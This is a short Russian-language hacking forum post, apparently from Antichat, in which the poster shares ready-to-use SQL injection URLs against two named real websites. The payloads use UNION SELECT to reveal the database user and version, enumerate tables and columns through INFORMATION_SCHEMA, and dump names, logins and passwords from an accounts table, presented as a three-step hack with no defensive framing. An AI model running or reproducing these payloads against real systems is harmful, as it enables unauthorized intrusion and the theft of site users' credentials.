|
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869
Репутация:
3033
|
|
Даже char() не потребовался, как знали =))
Код:
http://www.gostudy.com.ua/news.phtml?id=-40+union+select+1,2,user(),database(),version(),6,7,8,9+from+users/*
Это ответ недавнему "великому" взлому удава... 3 действия)
Код:
http://www.www.account.spb.ru/?Cat=regadms&Mod=view&ID=-2+union+select+1,2,3,4,5,6,TABLE_NAME,8,9,10,11,12,13,14+from+INFORMATION_SCHEMA.TABLES/*
http://www.www.account.spb.ru/?Cat=regadms&Mod=view&ID=-2+union+select+1,2,3,4,5,6,COLUMN_NAME,8,9,10,11,12,13,14+from+INFORMATION_SCHEMA.COLUMNS/*
http://www.www.account.spb.ru/?Cat=regadms&Mod=view&ID=-2+union+select+1,2,3,4,5,id,concat_ws(char(58),FIO,Login,PasWD),8,9,10,11,12,13,14+from+accounts/*
__________________
Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!
з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
|